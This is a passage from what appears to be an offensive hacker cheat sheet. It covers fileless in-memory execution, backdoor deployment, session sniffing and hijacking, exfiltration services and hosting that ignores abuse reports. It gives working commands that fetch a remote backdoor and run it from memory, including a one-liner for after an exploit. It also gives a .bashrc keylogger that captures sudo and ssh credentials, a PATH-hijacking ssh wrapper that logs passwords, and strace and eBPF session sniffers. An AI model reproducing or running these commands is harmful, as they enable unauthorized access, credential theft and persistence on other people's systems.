# curl -SsfL https://thc.org/my-backdoor-binary | memexec

The shortest possible variant is (example):

memexec(){ perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV' -- "$@";}
# Example: cat /usr/bin/id | memexec -u

(Thank you tmp.Out for some educated discussions and previous work by others)

Deploy gsocket without writing to the filesystem (example):

GS_ARGS="-ilqD -s SecretChangeMe31337" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m))

The backdoor can also be piped via SSH directly into the remote's memory, and executed:

MX='-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"

If you have a single-shot at remote executing a command (like via a PHP exploit) then this is your line:

curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)|perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV' -- -ilqD -s SecretChangeMe31337

9. Crypto

<a id="gen-password"></a> 9.i. Generate quick random Password

Good for quick passwords without human element.

openssl rand -base64 24

If openssl is not available then we can also use head to read from /dev/urandom.

head -c 32 < /dev/urandom | xxd -p -c 32

or make it alpha-numeric

head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16

<a id="crypto-filesystem"></a> 9.ii.a. Linux transportable encrypted filesystems - cryptsetup

Create a 256MB large encrypted file system. You will be prompted for a password.

dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock
cryptsetup luksFormat /tmp/crypted
cryptsetup open /tmp/crypted sec
mkfs -t ext3 /dev/mapper/sec

Mount:

cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec

Store data in /mnt/crypted, then unmount:

umount /mnt/sec
cryptsetup close sec

<a id="encfs"></a> 9.ii.b. Linux transportable encrypted filesystems - EncFS

Create .sec and store the encrypted data in .raw:

mkdir .raw .sec
encfs --standard  "${PWD}/.raw" "${PWD}/.sec"

unmount:

fusermount -u .sec

<a id="encrypting-file"></a> 9.iii Encrypting a file

Encrypt your 0-Days and log files before transferring them - please. (and pick your own password):

# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc

# Decrypt
openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt

10. Session sniffing and hijaking

<a id="session-sniffing"></a> 10.i Sniff a user's SHELL session

A 1-liner for ~/.bashrc to sniff the user's keystrokes and save them to ~/.config/.pty/.@*. Useful when not root and needing to capture the sudo/ssh/git credentials of the user.

Deploy: Cut & paste the following onto the target and follow the instructions:

command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& curl -o ~/.config/.pty/pty -fsSL "https://bin.ajam.dev/$(uname -m)/Baseutils/util-linux/script" \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec -a -bash '"$(command -v bash)"'" -I ~/.config/.pty/.@pty-unix.$$\e[0m'

Combined with zapper to hide command options from the process list.
Requires /usr/bin/script from util-linux >= 2.37 (-I flag). We pull the static bin from ajam.
Consider using /dev/tcp/3.13.3.7/1524 as an output file to log to a remote host.
Log in with ssh -o "SetEnv LC_PTY=1" to disable logging.

<a id="dtrace"></a> 10.ii Sniff all SHELL sessions with dtrace - FreeBSD

Especially useful for Solaris/SunOS and FreeBSD (pfSense). It uses kernel probes to trace all sshd processes.

Copy this "D Script" to the target system to a file named d:

#pragma D option quiet
inline string NAME = "sshd";
syscall::write:entry
/(arg0 >= 5) && (arg2 <= 16) && (execname == NAME)/
{ printf("%d: %s\n", pid, stringof(copyin(arg1, arg2))); }

Start a dtrace and log to /tmp/.log:

### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)

<a id="bpf"></a> 10.iii Sniff all SHELL sessions with eBPF - Linux

eBPF allows us to safely hook over 120,000 functions in the kernel. It's like a better "dtrace" but for Linux.

curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace
chmod 755 bpftrace
curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt
./bpftrace -Bnone ptysnoop.bt

Check out our very own eBPF tools to sniff sudo/su/ssh passwords.

<a id="ssh-sniffing-strace"></a> 10.iv Sniff a user's SSH, bash or SSHD session with strace

tit() {
	strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
	# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ...  | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)

It is also possible to sniff the SSHD process (captures also sudo passwords etc). Note that we trace the write() call instead (because sshd 'writes' data to the bash):

# Find the sshd PID that spawned the bash:
ps -eF | grep -E '(^UID|sshd.*pts)' | grep -v ' grep'
...
UID          PID    PPID  C    SZ   RSS PSR STIME TTY          TIME CMD
paralle+    7770    7764  0  5088  6780   1 Aug28 ?        00:00:05 sshd: parallels@pts/0
paralle+    9056    9050  0  5088  6652   1 Aug28 ?        00:00:00 sshd: parallels@pts/1
paralle+   11938   11932  0  5074  6772   1 10:59 ?        00:00:00 sshd: parallels@pts/3
...

Sniff 7770 (example):

tit write 7770

<a id="ssh-sniffing-wrapper"></a> 10.v. Sniff a user's outgoing SSH session with a wrapper script

Even dirtier method in case /proc/sys/kernel/yama/ptrace_scope is set to 1 (strace will fail on already running SSH sessions)

Create a wrapper script called 'ssh' that executes strace + ssh to log the session:

<details> <summary>Show wrapper script - CLICK HERE</summary>

# Cut & Paste the following into a bash shell:
# Add a local path to the PATH variable so our 'ssh' is executed instead of the real ssh:
echo 'PATH=~/.local/bin:$PATH #0xFD0E' >>~/.profile

# Create a log directory and our own ssh binary
mkdir -p ~/.local/bin ~/.local/logs

cat <<__EOF__ >~/.local/bin/ssh
#! /bin/bash
strace -e trace=read -I 1 -o '! ~/.local/bin/ssh-log \$\$' /usr/bin/ssh \$@
__EOF__

cat <<__EOF__ >~/.local/bin/ssh-log
#! /bin/bash
grep -F 'read(4' | cut -f2 -d\\" | while read -r x; do
        [[ \${#x} -gt 5 ]] && continue 
        [[ \${x} == +(\\\\n|\\\\r) ]] && { echo ""; continue; }
        echo -n "\${x}"
done >\$HOME/.local/logs/ssh-log-"\${1}"-\`date +%s\`.txt
__EOF__

chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log
. ~/.profile

echo -e "\033[1;32m***SUCCESS***.
Logfiles stored in ~/.local/.logs/.
To uninstall cut & paste this\033[0m:\033[1;36m
  grep -v 0xFD0E ~/.profile >~/.profile-new && mv ~/.profile-new ~/.profile
  rm -rf ~/.local/bin/ssh ~/.local/bin/ssh-log ~/.local/logs/ssh-log*.txt
  rmdir ~/.local/bin ~/.local/logs ~/.local &>/dev/null \033[0m"

(thanks to Gerald for testing this)

</details>

The SSH session will be sniffed and logged to ~/.ssh/logs/ the next time the user logs into his shell and uses SSH.

<a id="ssh-sniffing-sshit"></a> 10.vi Sniff a user's outgoing SSH session using SSH-IT

The easiest way is using https://www.thc.org/ssh-it/.

bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"

<a id="hijack"></a> 10.vii Hijack / Take-over a running SSH session

Use https://github.com/nelhage/reptyr to take over an existing SSH session:

ps ax -o pid,ppid,cmd | grep 'ssh '
./reptyr -T <SSH PID>
### or: ./reptyr -T $(pidof -s ssh)
### Must use '-T' or otherwise the original user will see that his SSH process gets suspended.

11. VPN & Shells

<a id="shell"></a> 11.i. Disposable Root Servers

$ ssh root@segfault.net # Use password 'segfault'

https://thc.org/segfault

<a id="vpn"></a> 11.ii. VPN/VPS/Proxies

Trusted VPN Providers

Virtual Private Servers

https://www.hetzner.com - Cheap
https://hivecloud.pw - No KYC. Bullet Proof. Accepts Crypto.
https://dmzhost.co - Ignore most abuse requests
https://alexhost.com - No KYC. Bullet Proof. DMCA free zone
https://basehost.eu - Ignores court orders
https://buyvm.net - Warez best friend
https://serverius.net - Used by gangsters
https://1984.hosting - Privacy
https://bithost.io - Reseller for DigitalOcean, Linode, Hetzner and Vultr (accepts Crypto)
https://www.privatelayer.com - Swiss based.

See other KYC Free Services (.onion)

Proxies (we dont use any of those)

V2Ray Proxies
Hola Proxies
Zaeem's Free Proxy List
Proxy Broker 2
proxyscrape.com
my-proxy.com
getfreeproxylists.blogspot.com
proxypedia.org
socks-proxy.net
Segfault: curl -x socks5h://$(PROXY) ipinfo.io - selects a random proxy for every request

Many other services (for free)

https://free-for.dev/

12. Intelligence Gathering

Reverse DNS from multiple public databases:

rdns () {
    curl -fsSL "https://ip.thc.org/api/v1/download?ip_address=${1:?}&limit=10&apex_domain=${2}" | column -t -s,
}
# rdns <IP>

Find sub domains from TLS Database:

crt() {
    [ $# -ne 1 ] && { echo >&2 "crt <domain-name>"; return 255; }
    curl -fsSL "https://crt.sh/?q=${1:?}&output=json" --compressed | jq -r '.[].common_name,.[].name_value' | anew | sed 's/^\*\.//g' | tr '[:upper:]' '[:lower:]'
}
# crt <domain>

OSINT Hacker Tools
https://api.c99.nl	Free: Subdomain Finder, PAID: Phone-Lookup, CF Resolver, WAF Detector, IP2Host, and more...for $25/year.
https://osint.sh	Free. Subdomain Finder, DNS History, Public S3 Buckets, Reverse IP, Certificate Search, and more
https://cli.fyi	Free. curl/json interface to many services. Try `curl cli.fyi/me` or `curl cli.fyi/thc.org`.
https://check-your-website.server-daten.de	Free. TLS/DNS/Security check a domain.
https://ipsniper.info/api.html	rDNS/fDNS and other IP information tools
https://ip.thc.org	fDNS/rDNS lookup: `curl -fL ip.thc.org/140.82.121.3`
https://hackertarget.com/ip-tools/	Free OSINT Service (Reverse IP, MTR, port scan, CMS scans, Vulnerability Scans, API support)
https://account.shodan.io/billing/tour	Open Port DB & DNS Lookup from around the world
https://dnsdumpster.com/	Domain Recon Tool
https://crt.sh/	TLS Certificate Search
https://archive.org/web/	Historical view of websites
https://www.farsightsecurity.com/solutions/dnsdb/	DNS search (not free)
https://wigle.net/	Wireless Network Mapper
https://radiocells.org/	Cell Tower Information
https://www.shodan.io/	Search Engine to find devices & Banners (not free)
https://spur.us/context/me	IP rating `https://spur.us/context/<IP>`
http://drs.whoisxmlapi.com	Reverse Whois Lookup (not free)
https://www.abuseipdb.com	IP abuse rating

OSINT for Detectives
https://start.me/p/rx6Qj8/nixintel-s-osint-resource-list	Nixintel's OSINT Resource List
https://github.com/jivoi/awesome-osint	Awesome OSINT list
https://cipher387.github.io/osint_stuff_tool_collection/	OSINT tools collection
https://osintframework.com/	Many OSINT tools

OSINT Databases
https://data.ddosecrets.com/	Database Dumps

13. Miscellaneous

<a id="tools"></a> 13.i. Tools of the trade

Comms

CryptoStorm Email - Disposable emails (send & receive). (List of Disposable-email-services).
Temp-Mail - Disposable email service with great Web GUI. Receive only.
tuta.io or ProtonMail/.onion - Free & Private email
Quackr.Io - Disposable SMS/text messages (List of Disposable-SMS-services).
SMS-Man - Anonymous SMS/text that work with Signal, WA, and manh others
Crypton - Rent a private SIM/SMS with crypto (.onion)
List of "No KYC" Services (.onion)

OpSec

OpSec for Rebellions - Start Here. The simplest 3 steps.
RiseUp - Mail, VPN and Tips for (online) rebellions.
CryptoPad/DisRoot - IT infra to stage a rebellion.
Neko - Launch Firefox in Docker and access via 127.0.0.1:8080 (WebRTC)
x11Docker - Isolate any X11 app in a container (Linux & Windows only). (Article)
DangerZone - Make PDFs safe before opening them.
ExifTool - Remove meta data from files (exiftool -all= example.pdf example1.jpg ...)
EFF - Clever advise for freedom figthers.

Exploits

ttyinject and ptyspy for LPE.
SploitScan - Exploit Score & PoC search (by xaitax)
Traitor - Tries various exploits/vulnerabilities to gain root (LPE)
PacketStorm - Our favorite site ever since we shared a Pizza with fringe[at]dtmf.org in NYC in 2000
ExploitDB - Also includes metasploit db and google hacking db
Shodan/Exploits - Similar to exploit-db

System Information Gathering

curl -fsSL https://thc.org/ws | bash - Show all domains hosted on a server + system-information
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS - Quick system information for hackers.
https://github.com/zMarch/Orc - Post-exploit tool to find local RCE (type getexploit after install)
https://github.com/The-Z-Labs/linux-exploit-suggester - Suggest exploits based on versions on target system
https://github.com/efchatz/pandora - Windows: dump password from various password managers

Backdoors

https://www.gsocket.io/deploy - The world's smallest backdoor
https://github.com/m0nad/Diamorphine - Linux Kernel Module for hiding processes and files
https://www.kali.org/tools/weevely - PHP backdoor

Network Scanners

https://github.com/robertdavidgraham/masscan - Scan the entire Internet
https://github.com/ptrrkssn/pnscan - Fast network scanner
https://zmap.io/ - ZMap & ZGrab

Vulnerability Scanners (be aware: these all yield 99% non-exploitable false positives. They all suck.)

Raccoon - Reconnaissance and Information Gathering
Osmedeus - Vulnerability and Information gathering
FullHunt - log4j and spring4shell scanner

DDoS

DeepNet - we despise DDoS but if we had to then this would be our choice.

Static Binaries / pre-compiled Tools

Phishing

https://github.com/htr-tech/zphisher - We don't hack like this but this is what we would use.
https://da.gd/ - Tinier TinyUrl and allows https://www.google.com-fish-fish@da.gd/blah

Tools

https://github.com/guitmz/ezuri - Obfuscate Linux binaries
https://tmate.io/ - Share a screen with others

Callback / Canary / Command & Control

Tunneling

Gost
WireTap or Segfault's WireGuard.
ngrok, cloudflared or pagekite to make a server behind NAT accessible from the public Internet.

Exfil<a id="cloudexfil"></a>

Blitz - blitz -l / blitz foo.txt
RedDrop - run your own Exfil Server
Mega
oshiAt - also on TOR. curl -T foo.txt https://oshi.at
0x0.at - curl -F'file=@foo.txt' https://0x0.st/
Transfer.sh - curl -T foo.txt https://transfer.sh
LitterBox - curl -F reqtype=fileupload -F time=72h -F 'fileToUpload=@foo.txt' https://litterbox.catbox.moe/resources/internals/api.php
Croc - croc send foo.txt / croc anit-price-example
MagicWormhole

Publishing

free BT/DC/eD2k seedbox
Or use /onion on segfault.net or plain old https with ngrok.
DuckDNS - Free Domain Names
AnonDNS - Free Domain Name (anonymous)
afraid.org - Free Dynamic DNS for your domain
he.net - Free Nameserver service
0bin / paste.ec - Encrypted PasteBin
pad.riseup.net - Create documents and share them securely

Forums and Conferences

Telegram Channels<a id="channels"></a>

Mindmaps & Knowledge

<a id="cool-linux-commands"></a> 13.ii. Cool Linux commands

<a id="tmux"></a> 13.iii. Tmux Cheat Sheet

	Tmux Cheat Sheet
Max Buffer	`Ctrl-b` + `:` + `set-option -g history-limit 65535`
SaveScrollback	`Ctrl-b` + `:` + `capture-pane -S -` followed by `Ctrl-b` + `:` + `save-buffer filename.txt`.
SpyScrollback	`tmux capture-pane -e -pS- -t 6.0` to capture pane 6, window 0 of a running tmux. Remove `-e` to save without colour.
Clear	`tmux send-keys -R C-l \; clear-history -t6.0` to clear screen and delete scrollback history.
Logging	`Ctrl-b` + `:` + `bind-key P pipe-pane -o "exec cat >>$HOME/'tmux-#W-#S.log'" \; display-message 'Toggling ~/tmux-#W-#S.log'`<BR>Press `Ctrl-b` + `Shift + P` to start and stop.
HiddenTmux	`cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache`<BR>To attach to your session do <BR>`cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache attach`
Attach	Start a new tmux, then type `Ctrl-b` + `s` and use `LEFT`, `RIGHT` to preview and select any session.
Menu	`Ctrl-b` + `>`. Then use `Ctrl-b` + `UP`, `DOWN`, `LEFT` or `RIGHT` to move between the panes.

<a id="useful-commands"></a> 13.iv. Useful commands

Use lsof -Pni or netstat -putan (or ss -putan) to list all Internet (-tu) connections.

Use ss -lntp to show all listening (-l) TCP (-t) sockets.

Use netstat -rn or ip route show to show default Internet route.

Use curl cheat.sh/tar to get TLDR help for tar. Works with any other linux command.

Use curl -fsSL bench.sh | bash to speed test a server.

Hacking over long latency links or slow links can be frustrating. Every keystroke is transmitted one by one and any typo becomes so much more frustrating and time consuming to undo. rlwrap comes to the rescue. It buffers all single keystrokes until Enter is hit and then transmits the entire line at once. This makes it so much easier to type at high speed, correct typos, ...

Example for the receiving end of a revese tunnel:

rlwrap --always-readline nc -vnlp 1524

Example for SSH:

rlwrap --always-readline ssh user@host

14. How to become a hacker

There are many ways but one is:

Use Linux and get proficient with Bash. Learn all Linux commands.
Learn how the Internet works. Install and configure some servers (via shell access).
Understand System Architecture and how an OS works.
Read every book. Ask yourself "why is it done this way and not the other way?".
Read the top 10 articles of Phrack.
Join a hacker-channel. Sign up to TryHackMe or HackTheBox.
Be playful.

15. Other Sites

Phineas Fisher - No nonsense. Direct. How we like it.
Hacking HackingTeam - a HackBack - Old but real talent at work.
Guacamaya Hackback
Vx Underground
HTB absolute - Well written and explained attack.
Conti Leak - Windows hacking. Pragmatic.
Red Team Notes
InfoSec CheatSheet
HackTricks
Awesome Red Teaming
[Hacking Resources]https://github.com/vitalysim/Awesome-Hacking-Resources)
Awesome Hacking
VulHub - Test your exploits
Qubes-OS - Desktop OS focused on security with XEN isolated (disposable) guest VMs (Fedora, Debian, Whonix out of the box)

Shoutz: ADM, subz/#9x, DrWho, spoty Join us on Telegram.